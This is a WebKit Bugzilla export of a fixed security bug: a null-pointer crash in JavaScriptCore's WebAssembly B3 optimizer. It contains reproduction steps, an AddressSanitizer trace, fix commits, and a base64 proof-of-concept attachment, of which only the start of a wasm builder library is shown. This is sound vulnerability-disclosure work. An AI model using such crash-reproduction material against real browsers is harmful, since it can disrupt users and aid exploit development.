<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>289890</bug_id>
          
          <creation_ts>2025-03-17 03:51:55 -0700</creation_ts>
          <short_desc>[WASM] SEGV in B3 ReduceStrength Optimization During Shl/SExt32 IR Node Handling</short_desc>
          <delta_ts>2025-04-02 15:08:27 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>JavaScriptCore</component>
          <version>WebKit Nightly Build</version>
          <rep_platform>Unspecified</rep_platform>
          <op_sys>Unspecified</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>InRadar</keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>xiangwei1895</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>bfulgham</cc>
    
    <cc>webkit-bug-importer</cc>
    
    <cc>ysuzuki</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>2103711</commentid>
    <comment_count>0</comment_count>
      <attachid>474590</attachid>
    <who name="">xiangwei1895</who>
    <bug_when>2025-03-17 03:51:55 -0700</bug_when>
    <thetext>Created attachment 474590
simplified poc

# What is required to reproduce the issue?
My environment:
Ubuntu 22.04.2 LTS
https://github.com/WebKit/WebKit.git
ec5c28c0e698b3cd3c028f50141923a95a29dcde

# Summary

A vulnerability has been identified in the JavaScriptCore engine where executing certain WebAssembly code causes a crash due to a null pointer dereference in the reduceValueStrength() function of B3ReduceStrength.cpp. Specifically, the optimizer fails to check for null pointers when accessing child nodes, leading to a segmentation fault at address 0x000000000030. This issue can be remotely triggered by specially crafted WebAssembly code, posing a security risk as it may allow attackers to crash the application or potentially execute arbitrary code.

# Steps to reproduce
1. **Execute the PoC:**

   ```bash
   ./jsc ./poc.js
   ```

# Expected results

Exit normally.

# Actual results

JavaScriptCore crashed with a segmentation fault:

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2011591==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x56203613413f bp 0x7f66baaedb70 sp 0x7f66baaed6a0 T2)
==2011591==The signal is caused by a READ memory access.
==2011591==Hint: address points to the zero page.
    #0 0x56203613413f in JSC::B3::(anonymous namespace)::ReduceStrength::reduceValueStrength() /data/workspace/WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp:2043:101
    #1 0x56203610fb69 in JSC::B3::(anonymous namespace)::ReduceStrength::run() /data/workspace/WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp:548:21
    #2 0x56203610fb69 in JSC::B3::reduceStrength(JSC::B3::Procedure&amp;) /data/workspace/WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp:3861:27
    #3 0x5620360eb762 in JSC::B3::generateToAir(JSC::B3::Procedure&amp;) /data/workspace/WebKit/Source/JavaScriptCore/b3/B3Generate.cpp:86:9
    #4 0x5620360eb316 in JSC::B3::prepareForGeneration(JSC::B3::Procedure&amp;) /data/workspace/WebKit/Source/JavaScriptCore/b3/B3Generate.cpp:60:5
    #5 0x562038ec14c5 in JSC::Wasm::parseAndCompileOMG(JSC::Wasm::CompilationContext&amp;, JSC::Wasm::OptimizingJITCallee&amp;, JSC::Wasm::FunctionData const&amp;, JSC::Wasm::TypeDefinition const&amp;, WTF::Vector&lt;JSC::Wasm::UnlinkedWasmToWasmCall, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc&gt;&amp;, JSC::Wasm::CalleeGroup&amp;, JSC::Wasm::ModuleInformation const&amp;, JSC::MemoryMode, JSC::Wasm::CompilationMode, JSC::Wasm::FunctionCodeIndex, std::optional&lt;bool&gt;, unsigned int) /data/workspace/WebKit/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp:5840:9
    #6 0x562038ee78bf in JSC::Wasm::OMGPlan::work() /data/workspace/WebKit/Source/JavaScriptCore/wasm/WasmOMGPlan.cpp:138:34
    #7 0x562039192b0a in JSC::Wasm::Worklist::Thread::work() /data/workspace/WebKit/Source/JavaScriptCore/wasm/WasmWorklist.cpp:114:15
    #8 0x5620395aa56a in WTF::AutomaticThread::start(WTF::AbstractLocker const&amp;)::$_0::operator()() const /data/workspace/WebKit/Source/WTF/wtf/AutomaticThread.cpp:225:37
    #9 0x5620395aa56a in WTF::Detail::CallableWrapper&lt;WTF::AutomaticThread::start(WTF::AbstractLocker const&amp;)::$_0, void&gt;::call() /data/workspace/WebKit/Source/WTF/wtf/Function.h:53:39
    #10 0x5620396390cb in WTF::Function&lt;void ()&gt;::operator()() const /data/workspace/WebKit/Source/WTF/wtf/Function.h:82:35
    #11 0x5620396390cb in WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*) /data/workspace/WebKit/Source/WTF/wtf/Threading.cpp:268:5
    #12 0x5620399d9ed3 in WTF::wtfThreadEntryPoint(void*) /data/workspace/WebKit/Source/WTF/wtf/posix/ThreadingPOSIX.cpp:241:5
    #13 0x562033953558 in asan_thread_start(void*) crtstuff.c
    #14 0x7f6706df0ac2  (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId: cd410b710f0f094c6832edd95931006d883af48e)
    #15 0x7f6706e8284f  (/lib/x86_64-linux-gnu/libc.so.6+0x12684f) (BuildId: cd410b710f0f094c6832edd95931006d883af48e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/workspace/WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp:2043:101 in JSC::B3::(anonymous namespace)::ReduceStrength::reduceValueStrength()
```







# Credit
Xiangwei Zhang of Tencent Security YUNDING LAB</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2103712</commentid>
    <comment_count>1</comment_count>
    <who name="Radar WebKit Bug Importer">webkit-bug-importer</who>
    <bug_when>2025-03-17 03:52:05 -0700</bug_when>
    <thetext>&lt;rdar://problem/147210812&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2103713</commentid>
    <comment_count>2</comment_count>
      <attachid>474591</attachid>
    <who name="">xiangwei1895</who>
    <bug_when>2025-03-17 03:52:20 -0700</bug_when>
    <thetext>Created attachment 474591
poc</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2106590</commentid>
    <comment_count>3</comment_count>
    <who name="Yusuke Suzuki">ysuzuki</who>
    <bug_when>2025-03-27 15:01:48 -0700</bug_when>
    <thetext>ToT issue, let&apos;s just fix it in ToT.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2106602</commentid>
    <comment_count>4</comment_count>
    <who name="Vassili Bykov">v_bykov</who>
    <bug_when>2025-03-27 15:19:15 -0700</bug_when>
    <thetext>Pull request: https://github.com/WebKit/WebKit/pull/43141</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2107048</commentid>
    <comment_count>5</comment_count>
    <who name="EWS">ews-feeder</who>
    <bug_when>2025-03-28 20:14:56 -0700</bug_when>
    <thetext>Committed 292876@main (9e460d82de2e): &lt;https://commits.webkit.org/292876@main&gt;

Reviewed commits have been landed. Closing PR #43141 and removing active labels.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2108312</commentid>
    <comment_count>6</comment_count>
    <who name="EWS">ews-feeder</who>
    <bug_when>2025-04-02 15:08:27 -0700</bug_when>
    <thetext>Committed 289651.388@safari-7621-branch (1d355b86897b): &lt;https://commits.webkit.org/289651.388@safari-7621-branch&gt;

Reviewed commits have been landed. Closing PR #2940 and removing active labels.</thetext>
  </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>474590</attachid>
            <date>2025-03-17 03:51:55 -0700</date>
            <delta_ts>2025-03-17 03:51:55 -0700</delta_ts>
            <desc>simplified poc</desc>
            <filename>poc_simplify</filename>
            <type>text/x-csrc</type>
            <size>75269</size>
            <attacher>xiangwei1895</attacher>
            
              <data encoding="base64">Ly8gQ29weXJpZ2h0IDIwMTYgdGhlIFY4IHByb2plY3QgYXV0aG9ycy4gQWxsIHJpZ2h0cyByZXNl
cnZlZC4KLy8gVXNlIG9mIHRoaXMgc291cmNlIGNvZGUgaXMgZ292ZXJuZWQgYnkgYSBCU0Qtc3R5
bGUgbGljZW5zZSB0aGF0IGNhbiBiZQovLyBmb3VuZCBpbiB0aGUgTElDRU5TRSBmaWxlLgoKLy8g
VXNlZCBmb3IgZW5jb2RpbmcgZjMyIGFuZCBkb3VibGUgY29uc3RhbnRzIHRvIGJpdHMuCmxldCBi
eXRlX3ZpZXcgPSBuZXcgVWludDhBcnJheSg4KTsKbGV0IGRhdGFfdmlldyA9IG5ldyBEYXRhVmll
dyhieXRlX3ZpZXcuYnVmZmVyKTsKCi8vIFRoZSBieXRlcyBmdW5jdGlvbiByZWNlaXZlcyBvbmUg
b2YKLy8gIC0gc2V2ZXJhbCBhcmd1bWVudHMsIGVhY2ggb2Ygd2hpY2ggaXMgZWl0aGVyIGEgbnVt
YmVyIG9yIGEgc3RyaW5nIG9mIGxlbmd0aAovLyAgICAxOyBpZiBpdCdzIGEgc3RyaW5nLCB0aGUg
Y2hhcmNvZGUgb2YgdGhlIGNvbnRhaW5lZCBjaGFyYWN0ZXIgaXMgdXNlZC4KLy8gIC0gYSBzaW5n
bGUgYXJyYXkgYXJndW1lbnQgY29udGFpbmluZyB0aGUgYWN0dWFsIGFyZ3VtZW50cwovLyAgLSBh
IHNpbmdsZSBzdHJpbmc7IHRoZSByZXR1cm5lZCBidWZmZXIgd2lsbCBjb250YWluIHRoZSBjaGFy
IGNvZGVzIG9mIGFsbAovLyAgICBjb250YWluZWQgY2hhcmFjdGVycy4KZnVuY3Rpb24gYnl0ZXMo
Li4uaW5wdXQpIHsKICBpZiAoaW5wdXQubGVuZ3RoID09IDEgJiYgdHlwZW9mIGlucHV0WzBdID09
ICdhcnJheScpIGlucHV0ID0gaW5wdXRbMF07CiAgaWYgKGlucHV0Lmxlbmd0aCA9PSAxICYmIHR5
cGVvZiBpbnB1dFswXSA9PSAnc3RyaW5nJykgewogICAgbGV0IGxlbiA9IGlucHV0WzBdLmxlbmd0
aDsKICAgIGxldCB2aWV3ID0gbmV3IFVpbnQ4QXJyYXkobGVuKTsKICAgIGZvciAobGV0IGkgPSAw
OyBpIDwgbGVuOyBpKyspIHZpZXdbaV0gPSBpbnB1dFswXS5jaGFyQ29kZUF0KGkpOwogICAgcmV0
dXJuIHZpZXcuYnVmZmVyOwogIH0KICBsZXQgdmlldyA9IG5ldyBVaW50OEFycmF5KGlucHV0Lmxl
bmd0aCk7CiAgZm9yIChsZXQgaSA9IDA7IGkgPCBpbnB1dC5sZW5ndGg7IGkrKykgewogICAgbGV0
IHZhbCA9IGlucHV0W2ldOwogICAgaWYgKHR5cGVvZiB2YWwgPT0gJ3N0cmluZycpIHsKICAgICAg
aWYgKHZhbC5sZW5ndGggIT0gMSkgewogICAgICAgIHRocm93IG5ldyBFcnJvcignc3RyaW5nIGlu
cHV0cyBtdXN0IGhhdmUgbGVuZ3RoIDEnKTsKICAgICAgfQogICAgICB2YWwgPSB2YWwuY2hhckNv
ZGVBdCgwKTsKICAgIH0KICAgIHZpZXdbaV0gPSB2YWwgfCAwOwogIH0KICByZXR1cm4gdmlldy5i
dWZmZXI7Cn0KCi8vIEhlYWRlciBkZWNsYXJhdGlvbiBjb25zdGFudHMKdmFyIGtXYXNtSDAgPSAw
Owp2YXIga1dhc21IMSA9IDB4NjE7CnZhciBrV2FzbUgyID0gMHg3MzsKdmFyIGtXYXNtSDMgPSAw
eDZkOwoKdmFyIGtXYXNtVjAgPSAweDE7CnZhciBrV2FzbVYxID0gMDsKdmFyIGtXYXNtVjIgPSAw
Owp2YXIga1dhc21WMyA9IDA7Cgp2YXIga0hlYWRlclNpemUgPSA4Owp2YXIga1BhZ2VTaXplID0g
NjU1MzY7CnZhciBrU3BlY01heFBhZ2VzID0gNjU1MzY7CnZhciBrTWF4VmFySW50MzJTaXplID0g
NTsKdmFyIGtNYXhWYXJJbnQ2NFNpemUgPSAxMDsKCmxldCBrRGVjbE5vTG9jYWxzID0gMDsKCi8v
IFNlY3Rpb24gZGVjbGFyYXRpb24gY29uc3RhbnRzCmxldCBrVW5rbm93blNlY3Rpb25Db2RlID0g
MDsKbGV0IGtUeXBlU2VjdGlvbkNvZGUgPSAxOyAgICAgICAgLy8gRnVuY3Rpb24gc2lnbmF0dXJl
IGRlY2xhcmF0aW9ucwpsZXQga0ltcG9ydFNlY3Rpb25Db2RlID0gMjsgICAgICAvLyBJbXBvcnQg
ZGVjbGFyYXRpb25zCmxldCBrRnVuY3Rpb25TZWN0aW9uQ29kZSA9IDM7ICAgIC8vIEZ1bmN0aW9u
IGRlY2xhcmF0aW9ucwpsZXQga1RhYmxlU2VjdGlvbkNvZGUgPSA0OyAgICAgICAvLyBJbmRpcmVj
dCBmdW5jdGlvbiB0YWJsZSBhbmQgb3RoZXIgdGFibGVzCmxldCBrTWVtb3J5U2VjdGlvbkNvZGUg
PSA1OyAgICAgIC8vIE1lbW9yeSBhdHRyaWJ1dGVzCmxldCBrR2xvYmFsU2VjdGlvbkNvZGUgPSA2
OyAgICAgIC8vIEdsb2JhbCBkZWNsYXJhdGlvbnMKbGV0IGtFeHBvcnRTZWN0aW9uQ29kZSA9IDc7
ICAgICAgLy8gRXhwb3J0cwpsZXQga1N0YXJ0U2VjdGlvbkNvZGUgPSA4OyAgICAgICAvLyBTdGFy
dCBmdW5jdGlvbiBkZWNsYXJhdGlvbgpsZXQga0VsZW1lbnRTZWN0aW9uQ29kZSA9IDk7ICAgICAv
LyBFbGVtZW50cyBzZWN0aW9uCmxldCBrQ29kZVNlY3Rpb25Db2RlID0gMTA7ICAgICAgIC8vIEZ1
bmN0aW9uIGNvZGUKbGV0IGtEYXRhU2VjdGlvbkNvZGUgPSAxMTsgICAgICAgLy8gRGF0YSBzZWdt
ZW50cwpsZXQga0RhdGFDb3VudFNlY3Rpb25Db2RlID0gMTI7ICAvLyBEYXRhIHNlZ21lbnQgY291
bnQgKGJldHdlZW4gRWxlbWVudCAmIENvZGUpCmxldCBrVGFnU2VjdGlvbkNvZGUgPSAxMzsgICAg
ICAgIC8vIFRhZyBzZWN0aW9uIChiZXR3ZWVuIE1lbW9yeSAmIEdsb2JhbCkKbGV0IGtTdHJpbmdS
ZWZTZWN0aW9uQ29kZSA9IDE0OyAgLy8gU3RyaW5ncmVmIGxpdGVyYWxzIHNlY3Rpb24gKGJldHdl
ZW4gVGFnICYgR2xvYmFsKQpsZXQga0xhc3RLbm93blNlY3Rpb25Db2RlID0gMTQ7CgovLyBOYW1l
IHNlY3Rpb24gdHlwZXMKbGV0IGtNb2R1bGVOYW1lQ29kZSA9IDA7CmxldCBrRnVuY3Rpb25OYW1l
c0NvZGUgPSAxOwpsZXQga0xvY2FsTmFtZXNDb2RlID0gMjsKCmxldCBrV2FzbVNoYXJlZFR5cGVG
b3JtID0gMHg2NTsKbGV0IGtXYXNtRnVuY3Rpb25UeXBlRm9ybSA9IDB4NjA7CmxldCBrV2FzbVN0
cnVjdFR5cGVGb3JtID0gMHg1ZjsKbGV0IGtXYXNtQXJyYXlUeXBlRm9ybSA9IDB4NWU7CmxldCBr
V2FzbVN1YnR5cGVGb3JtID0gMHg1MDsKbGV0IGtXYXNtU3VidHlwZUZpbmFsRm9ybSA9IDB4NGY7
CmxldCBrV2FzbVJlY3Vyc2l2ZVR5cGVHcm91cEZvcm0gPSAweDRlOwoKbGV0IGtOb1N1cGVyVHlw
ZSA9IDB4RkZGRkZGRkY7CgpsZXQga0xpbWl0c05vTWF4aW11bSA9IDB4MDA7CmxldCBrTGltaXRz
V2l0aE1heGltdW0gPSAweDAxOwpsZXQga0xpbWl0c1NoYXJlZE5vTWF4aW11bSA9IDB4MDI7Cmxl
dCBrTGltaXRzU2hhcmVkV2l0aE1heGltdW0gPSAweDAzOwpsZXQga0xpbWl0c01lbW9yeTY0Tm9N
YXhpbXVtID0gMHgwNDsKbGV0IGtMaW1pdHNNZW1vcnk2NFdpdGhNYXhpbXVtID0gMHgwNTsKbGV0
IGtMaW1pdHNNZW1vcnk2NFNoYXJlZE5vTWF4aW11bSA9IDB4MDY7CmxldCBrTGltaXRzTWVtb3J5
NjRTaGFyZWRXaXRoTWF4aW11bSA9IDB4MDc7CgovLyBTZWdtZW50IGZsYWdzCmxldCBrQWN0aXZl
Tm9JbmRleCA9IDA7CmxldCBrUGFzc2l2ZSA9IDE7CmxldCBrQWN0aXZlV2l0aEluZGV4ID0gMjsK
bGV0IGtEZWNsYXJhdGl2ZSA9IDM7CmxldCBrUGFzc2l2ZVdpdGhFbGVtZW50cyA9IDU7CmxldCBr
RGVjbGFyYXRpdmVXaXRoRWxlbWVudHMgPSA3OwoKLy8gRnVuY3Rpb24gZGVjbGFyYXRpb24gZmxh
Z3MKbGV0IGtEZWNsRnVuY3Rpb25OYW1lID0gMHgwMTsKbGV0IGtEZWNsRnVuY3Rpb25JbXBvcnQg
PSAweDAyOwpsZXQga0RlY2xGdW5jdGlvbkxvY2FscyA9IDB4MDQ7CmxldCBrRGVjbEZ1bmN0aW9u
RXhwb3J0ID0gMHgwODsKCi8vIFZhbHVlIHR5cGVzIGFuZCByZWxhdGVkCmxldCBrV2FzbVZvaWQg
PSAweDQwOwpsZXQga1dhc21JMzIgPSAweDdmOwpsZXQga1dhc21JNjQgPSAweDdlOwpsZXQga1dh
c21GMzIgPSAweDdkOwpsZXQga1dhc21GNjQgPSAweDdjOwpsZXQga1dhc21TMTI4ID0gMHg3YjsK
bGV0IGtXYXNtSTggPSAweDc4OwpsZXQga1dhc21JMTYgPSAweDc3OwpsZXQga1dhc21GMTYgPSAw
eDc2OwoKLy8gVGhlc2UgYXJlIGRlZmluZWQgYXMgbmVnYXRpdmUgaW50ZWdlcnMgdG8gZGlzdGlu
Z3Vpc2ggdGhlbSBmcm9tIHBvc2l0aXZlIHR5cGUKLy8gaW5kaWNlcy4KbGV0IGtXYXNtTnVsbEZ1
bmNSZWYgPSAtMHgwZDsKbGV0IGtXYXNtTnVsbEV4dGVyblJlZiA9IC0weDBlOwpsZXQga1dhc21O
dWxsUmVmID0gLTB4MGY7CmxldCBrV2FzbUZ1bmNSZWYgPSAtMHgxMDsKbGV0IGtXYXNtQW55RnVu
YyA9IGtXYXNtRnVuY1JlZjsgIC8vIEFsaWFzIG5hbWVkIGFzIGluIHRoZSBKUyBBUEkgc3BlYwps
ZXQga1dhc21FeHRlcm5SZWYgPSAtMHgxMTsKbGV0IGtXYXNtQW55UmVmID0gLTB4MTI7CmxldCBr
V2FzbUVxUmVmID0gLTB4MTM7CmxldCBrV2FzbUkzMVJlZiA9IC0weDE0OwpsZXQga1dhc21TdHJ1
Y3RSZWYgPSAtMHgxNTsKbGV0IGtXYXNtQXJyYXlSZWYgPSAtMHgxNjsKbGV0IGtXYXNtRXhuUmVm
ID0gLTB4MTc7CmxldCBrV2FzbU51bGxFeG5SZWYgPSAtMHgwYzsKbGV0IGtXYXNtU3RyaW5nUmVm
ID0gLTB4MTk7CmxldCBrV2FzbVN0cmluZ1ZpZXdXdGY4ID0gLTB4MWE7CmxldCBrV2FzbVN0cmlu
Z1ZpZXdXdGYxNiA9IC0weDFlOwpsZXQga1dhc21TdHJpbmdWaWV3SXRlciA9IC0weDFmOwoKLy8g
VXNlIHRoZSBwb3NpdGl2ZS1ieXRlIHZlcnNpb25zIGluc2lkZSBmdW5jdGlvbiBib2RpZXMuCmxl
dCBrTGViMTI4TWFzayA9IDB4N2Y7CmxldCBrRnVuY1JlZkNvZGUgPSBrV2FzbUZ1bmNSZWYgJiBr
TGViMTI4TWFzazsKbGV0IGtBbnlGdW5jQ29kZSA9IGtGdW5jUmVmQ29kZTsgIC8vIEFsaWFzIG5h
bWVkIGFzIGluIHRoZSBKUyBBUEkgc3BlYwpsZXQga0V4dGVyblJlZkNvZGUgPSBrV2FzbUV4dGVy
blJlZiAmIGtMZWIxMjhNYXNrOwpsZXQga0FueVJlZkNvZGUgPSBrV2FzbUFueVJlZiAmIGtMZWIx
MjhNYXNrOwpsZXQga0VxUmVmQ29kZSA9IGtXYXNtRXFSZWYgJiBrTGViMTI4TWFzazsKbGV0IGtJ
MzFSZWZDb2RlID0ga1dhc21JMzFSZWYgJiBrTGViMTI4TWFzazsKbGV0IGtOdWxsRXh0ZXJuUmVm
Q29kZSA9IGtXYXNtTnVsbEV4dGVyblJlZiAmIGtMZWIxMjhNYXNrOwpsZXQga051bGxGdW5jUmVm
Q29kZSA9IGtXYXNtTnVsbEZ1bmNSZWYgJiBrTGViMTI4TWFzazsKbGV0IGtTdHJ1Y3RSZWZDb2Rl
ID0ga1dhc21TdHJ1Y3RSZWYgJiBrTGViMTI4TWFzazsKbGV0IGtBcnJheVJlZkNvZGUgPSBrV2Fz
bUFycmF5UmVmICYga0xlYjEyOE1hc2s7CmxldCBrRXhuUmVmQ29kZSA9IGtXYXNtRXhuUmVmICYg
a0xlYjEyOE1hc2s7CmxldCBrTnVsbEV4blJlZkNvZGUgPSBrV2FzbU51bGxFeG5SZWYgJiBrTGVi
MTI4TWFzazsKbGV0IGtOdWxsUmVmQ29kZSA9IGtXYXNtTnVsbFJlZiAmIGtMZWIxMjhNYXNrOwps
ZXQga1N0cmluZ1JlZkNvZGUgPSBrV2FzbVN0cmluZ1JlZiAmIGtMZWIxMjhNYXNrOwpsZXQga1N0
cmluZ1ZpZXdXdGY4Q29kZSA9IGtXYXNtU3RyaW5nVmlld1d0ZjggJiBrTGViMTI4TWFzazsKbGV0
IGtTdHJpbmdWaWV3V3RmMTZDb2RlID0ga1dhc21TdHJpbmdWaWV3V3RmMTYgJiBrTGViMTI4TWFz
azsKbGV0IGtTdHJpbmdWaWV3SXRlckNvZGUgPSBrV2FzbVN0cmluZ1ZpZXdJdGVyICYga0xlYjEy
OE1hc2s7CgpsZXQga1dhc21SZWZOdWxsID0gMHg2MzsKbGV0IGtXYXNtUmVmID0gMHg2NDsKZnVu
Y3Rpb24gd2FzbVJlZk51bGxUeXBlKGhlYXBfdHlwZSwgaXNfc2hhcmVkID0gZmFsc2UpIHsKICBy
ZXR1cm4ge29wY29kZToga1dhc21SZWZOdWxsLCBoZWFwX3R5cGU6IGhlYXBfdHlwZSwgaXNfc2hh
cmVkOiBpc19zaGFyZWR9Owp9CmZ1bmN0aW9uIHdhc21SZWZUeXBlKGhlYXBfdHlwZSwgaXNfc2hh
cmVkID0gZmFsc2UpIHsKICByZXR1cm4ge29wY29kZToga1dhc21SZWYsIGhlYXBfdHlwZTogaGVh
cF90eXBlLCBpc19zaGFyZWQ6IGlzX3NoYXJlZH07Cn0KCmxldCBrRXh0ZXJuYWxGdW5jdGlvbiA9
IDA7CmxldCBrRXh0ZXJuYWxUYWJsZSA9IDE7CmxldCBrRXh0ZXJuYWxNZW1vcnkgPSAyOwpsZXQg
a0V4dGVybmFsR2xvYmFsID0gMzsKbGV0IGtFeHRlcm5hbFRhZyA9IDQ7CgpsZXQga1RhYmxlWmVy
byA9IDA7CmxldCBrTWVtb3J5WmVybyA9IDA7CmxldCBrU2VnbWVudFplcm8gPSAwOwoKbGV0IGtF
eGNlcHRpb25BdHRyaWJ1dGUgPSAwOwoKLy8gVXNlZnVsIHNpZ25hdHVyZXMKbGV0IGtTaWdfaV9p
ID0gbWFrZVNpZyhba1dhc21JMzJdLCBba1dhc21JMzJdKTsKbGV0IGtTaWdfbF9sID0gbWFrZVNp
Zyhba1dhc21JNjRdLCBba1dhc21JNjRdKTsKbGV0IGtTaWdfaV9sID0gbWFrZVNpZyhba1dhc21J
NjRdLCBba1dhc21JMzJdKTsKbGV0IGtTaWdfaV9paSA9IG1ha2VTaWcoW2tXYXNtSTMyLCBrV2Fz
bUkzMl0sIFtrV2FzbUkzMl0pOwpsZXQga1NpZ19pX2lpaSA9IG1ha2VTaWcoW2tXYXNtSTMyLCBr
V2FzbUkzMiwga1dhc21JMzJdLCBba1dhc21JMzJdKTsKbGV0IGtTaWdfaV9paWlpID0gbWFrZVNp
Zyhba1dhc21JMzIsIGtXYXNtSTMyLCBrV2FzbUkzMiwga1dhc21JMzJdLCBba1dhc21JMzJdKTsK
bGV0IGtTaWdfdl9paWlpID0gbWFrZVNpZyhba1dhc21JMzIsIGtXYXNtSTMyLCBrV2FzbUkzMiwg
a1dhc21JMzJdLCBbXSk7CmxldCBrU2lnX2xfaSA9IG1ha2VTaWcoW2tXYXNtSTMyXSwgW2tXYXNt
STY0XSk7CmxldCBrU2lnX2ZfaSA9IG1ha2VTaWcoW2tXYXNtSTMyXSwgW2tXYXNtRjMyXSk7Cmxl
dCBrU2lnX2lfZiA9IG1ha2VTaWcoW2tXYXNtRjMyXSwgW2tXYXNtSTMyXSk7CmxldCBrU2lnX2lf
ZmYgPSBtYWtlU2lnKFtrV2FzbUYzMiwga1dhc21GMzJdLCBba1dhc21JMzJdKTsKbGV0IGtTaWdf
Zl9mZiA9IG1ha2VTaWcoW2tXYXNtRjMyLCBrV2FzbUYzMl0sIFtrV2FzbUYzMl0pOwpsZXQga1Np
Z19mX2ZmZmYgPSBtYWtlU2lnKFtrV2FzbUYzMiwga1dhc21GMzIsIGtXYXNtRjMyLCBrV2FzbUYz
Ml0sIFtrV2FzbUYzMl0pOwpsZXQga1NpZ19kX2RkID0gbWFrZVNpZyhba1dhc21GNjQsIGtXYXNt
RjY0XSwgW2tXYXNtRjY0XSk7CmxldCBrU2lnX2xfbGwgPSBtYWtlU2lnKFtrV2FzbUk2NCwga1dh
c21JNjRdLCBba1dhc21JNjRdKTsKbGV0IGtTaWdfaV9kZCA9IG1ha2VTaWcoW2tXYXNtRjY0LCBr
V2FzbUY2NF0sIFtrV2FzbUkzMl0pOwpsZXQga1NpZ192X3YgPSBtYWtlU2lnKFtdLCBbXSk7Cmxl
dCBrU2lnX2lfdiA9IG1ha2VTaWcoW10sIFtrV2FzbUkzMl0pOwpsZXQga1NpZ19sX3YgPSBtYWtl
U2lnKFtdLCBba1dhc21JNjRdKTsKbGV0IGtTaWdfZl92ID0gbWFrZVNpZyhbXSwgW2tXYXNtRjMy
XSk7CmxldCBrU2lnX2RfdiA9IG1ha2VTaWcoW10sIFtrV2FzbUY2NF0pOwpsZXQga1NpZ192X2kg
PSBtYWtlU2lnKFtrV2FzbUkzMl0sIFtdKTsKbGV0IGtTaWdfdl9paSA9IG1ha2VTaWcoW2tXYXNt
STMyLCBrV2FzbUkzMl0sIFtdKTsKbGV0IGtTaWdfdl9paWkgPSBtYWtlU2lnKFtrV2FzbUkzMiwg
a1dhc21JMzIsIGtXYXNtSTMyXSwgW10pOwpsZXQga1NpZ192X2wgPSBtYWtlU2lnKFtrV2FzbUk2
NF0sIFtdKTsKbGV0IGtTaWdfdl9saSA9IG1ha2VTaWcoW2tXYXNtSTY0LCBrV2FzbUkzMl0sIFtd
KTsKbGV0IGtTaWdfdl9saWkgPSBtYWtlU2lnKFtrV2FzbUk2NCwga1dhc21JMzIsIGtXYXNtSTMy
XSwgW10pOwpsZXQga1NpZ192X2QgPSBtYWtlU2lnKFtrV2FzbUY2NF0sIFtdKTsKbGV0IGtTaWdf
dl9kZCA9IG1ha2VTaWcoW2tXYXNtRjY0LCBrV2FzbUY2NF0sIFtdKTsKbGV0IGtTaWdfdl9kZGkg
PSBtYWtlU2lnKFtrV2FzbUY2NCwga1dhc21GNjQsIGtXYXNtSTMyXSwgW10pOwpsZXQga1NpZ19p
aV92ID0gbWFrZVNpZyhbXSwgW2tXYXNtSTMyLCBrV2FzbUkzMl0pOwpsZXQga1NpZ19paWlfdiA9
IG1ha2VTaWcoW10sIFtrV2FzbUkzMiwga1dhc21JMzIsIGtXYXNtSTMyXSk7CmxldCBrU2lnX2lp
X2kgPSBtYWtlU2lnKFtrV2FzbUkzMl0sIFtrV2FzbUkzMiwga1dhc21JMzJdKTsKbGV0IGtTaWdf
aWlpX2kgPSBtYWtlU2lnKFtrV2FzbUkzMl0sIFtrV2FzbUkzMiwga1dhc21JMzIsIGtXYXNtSTMy
XSk7CmxldCBrU2lnX2lpX2lpID0gbWFrZVNpZyhba1dhc21JMzIsIGtXYXNtSTMyXSwgW2tXYXNt
STMyLCBrV2FzbUkzMl0pOwpsZXQga1NpZ19paWlfaWkgPSBtYWtlU2lnKFtrV2FzbUkzMiwga1dh
c21JMzJdLCBba1dhc21JMzIsIGtXYXNtSTMyLCBrV2FzbUkzMl0pOwoKbGV0IGtTaWdfdl9mID0g
bWFrZVNpZyhba1dhc21GMzJdLCBbXSk7CmxldCBrU2lnX2ZfZiA9IG1ha2VTaWcoW2tXYXNtRjMy
XSwgW2tXYXNtRjMyXSk7CmxldCBrU2lnX2ZfZCA9IG1ha2VTaWcoW2tXYXNtRjY0XSwgW2tXYXNt
RjMyXSk7CmxldCBrU2lnX2RfZCA9IG1ha2VTaWcoW2tXYXNtRjY0XSwgW2tXYXNtRjY0XSk7Cmxl
dCBrU2lnX2RfZiA9IG1ha2VTaWcoW2tXYXNtRjMyXSwgW2tXYXNtRjY0XSk7CmxldCBrU2lnX2Rf
aSA9IG1ha2VTaWcoW2tXYXNtSTMyXSwgW2tXYXNtRjY0XSk7CmxldCBrU2lnX3JfciA9IG1ha2VT
